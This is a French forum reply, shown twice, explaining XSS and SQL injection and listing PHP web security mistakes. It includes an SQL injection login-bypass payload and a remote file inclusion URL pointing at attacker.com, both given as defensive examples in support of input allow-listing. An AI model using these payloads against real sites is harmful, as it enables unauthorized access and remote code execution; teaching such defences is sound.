J'entends souvent parler de XSS, SQL injection et tout ce bazard sans réellement savoir ce que c'est et surtout comment s'en protéger.
XSS = Cross Site Scripting
XSS et SQL Injection repose sur le meme probleme: le filtrage des entrees utilisateur.
XSS: ton site possede par exemple une parti wiki ou les utilisateurs peuvent ajouter du texte. Il te faut absoluemnt eviter que l'utilisateur puisse faire afficher du code malicieux (Javascript, ActiveX, ...) sur un le navigateur d'un utilisateur qui regardera la page modifiee.
SQL Injection: ton site posse, par exemple, unge page pour entrer ton login et ton mot de passe. Tu passes tes donnes a une requete du style:
SELECT * FROM Users WHERE login="$login" AND password="$password" ($login et $password sont donnees par l'utilisateur)
Si un utilisateur rentre par exemple:
login: moi" OR 1=1 OR 1="
password: toi" OR 1=1 OR 1="
La requeste devient alors:
SELECT * FORM Users WHERE login="moi" OR 1=1 OR 1="" AND password="toi" OR 1=1 OR 1=""
Comme 1=1 est toujours vrai (seul le dernier 1=1 dans la requete precedente peut suffire), la requete se resule a SELECT * FORM Users
Dans les 2 cas, il faut faire filtrer ce que peut rentrer l'utilisateur. 2 methodes:
* interdire certains caracteres => mauvaise methode car "tu ne sais pas ce que tu ne sais pas!". Il est impossible de connaitre l'ensemble (potentiellement infini) des combinaisons dangereuses. Voir les problemes qu'il y a peu avoir avec l'encode Unicode par exemple
* authoriser certains caracteres seulement => a-z, A-Z, 0-9 par exemple
Quelques autres erreurs/recommandations classiques:
* laisser des fichiers sensibles en lecture pour tout le mode
Peut etre eviter en verifiant les droits, et en ajoutant systematiquement l'extension .php (si programmation PHP) a un fichier. Comme ca, si on tente d'y acceder, le contenu sera interprete comme du code PHP, et n'affichera vraisemblablement rien
* des URL du type index.php?file=data/page1.php (pour charger la page data/page1.php)
Cela permettrait sans doute de contourner les permissions sur les fichiers pour lire n'importe quoi, mais aussi de faire interpreter n'importe quelle page avec les droits locaux: index.php?file=http://attacker.com/download-all.php(...)
* il est recommender de crypter les donnes si possible, dans un "sens unique"
Comme pour le fichier /etc/passwd, encrypter sans possiblilte de decrypter les login et passowrd
* Ne pas imaginer que les donnes envoyees en POST sont invisibles a l'utilisateur sous pretexte que cela ne s'affiche pas dans l'URL
* ne pas afficher les erreurs PHP qui pourraient donner trop d'informations sur la configuration
On voit des messages du type: ERROR: cannot open /home/web/~website/lib/file.inc.php
* ...
Apres, rien ne sert de securiser l'application si le serveur (MySQ, Apache, OS, ...) n'est pa securise lui-meme: Apache avec les droits root ou ayant acces a tout le systeme (pas de chroot), failles de securite connues, ...
# XSS, SQL injection
Posté par jusob . En réponse au message Développement "propre".. Évalué à 3.
XSS = Cross Site Scripting
XSS et SQL Injection repose sur le meme probleme: le filtrage des entrees utilisateur.
XSS: ton site possede par exemple une parti wiki ou les utilisateurs peuvent ajouter du texte. Il te faut absoluemnt eviter que l'utilisateur puisse faire afficher du code malicieux (Javascript, ActiveX, ...) sur un le navigateur d'un utilisateur qui regardera la page modifiee.
SQL Injection: ton site posse, par exemple, unge page pour entrer ton login et ton mot de passe. Tu passes tes donnes a une requete du style:
SELECT * FROM Users WHERE login="$login" AND password="$password" ($login et $password sont donnees par l'utilisateur)
Si un utilisateur rentre par exemple:
login: moi" OR 1=1 OR 1="
password: toi" OR 1=1 OR 1="
La requeste devient alors:
SELECT * FORM Users WHERE login="moi" OR 1=1 OR 1="" AND password="toi" OR 1=1 OR 1=""
Comme 1=1 est toujours vrai (seul le dernier 1=1 dans la requete precedente peut suffire), la requete se resule a SELECT * FORM Users
Dans les 2 cas, il faut faire filtrer ce que peut rentrer l'utilisateur. 2 methodes:
* interdire certains caracteres => mauvaise methode car "tu ne sais pas ce que tu ne sais pas!". Il est impossible de connaitre l'ensemble (potentiellement infini) des combinaisons dangereuses. Voir les problemes qu'il y a peu avoir avec l'encode Unicode par exemple
* authoriser certains caracteres seulement => a-z, A-Z, 0-9 par exemple
Quelques autres erreurs/recommandations classiques:
* laisser des fichiers sensibles en lecture pour tout le mode
Peut etre eviter en verifiant les droits, et en ajoutant systematiquement l'extension .php (si programmation PHP) a un fichier. Comme ca, si on tente d'y acceder, le contenu sera interprete comme du code PHP, et n'affichera vraisemblablement rien
* des URL du type index.php?file=data/page1.php (pour charger la page data/page1.php)
Cela permettrait sans doute de contourner les permissions sur les fichiers pour lire n'importe quoi, mais aussi de faire interpreter n'importe quelle page avec les droits locaux: index.php?file=http://attacker.com/download-all.php(...)
* il est recommender de crypter les donnes si possible, dans un "sens unique"
Comme pour le fichier /etc/passwd, encrypter sans possiblilte de decrypter les login et passowrd
* Ne pas imaginer que les donnes envoyees en POST sont invisibles a l'utilisateur sous pretexte que cela ne s'affiche pas dans l'URL
* ne pas afficher les erreurs PHP qui pourraient donner trop d'informations sur la configuration
On voit des messages du type: ERROR: cannot open /home/web/~website/lib/file.inc.php
* ...
Apres, rien ne sert de securiser l'application si le serveur (MySQ, Apache, OS, ...) n'est pa securise lui-meme: Apache avec les droits root ou ayant acces a tout le systeme (pas de chroot), failles de securite connues, ...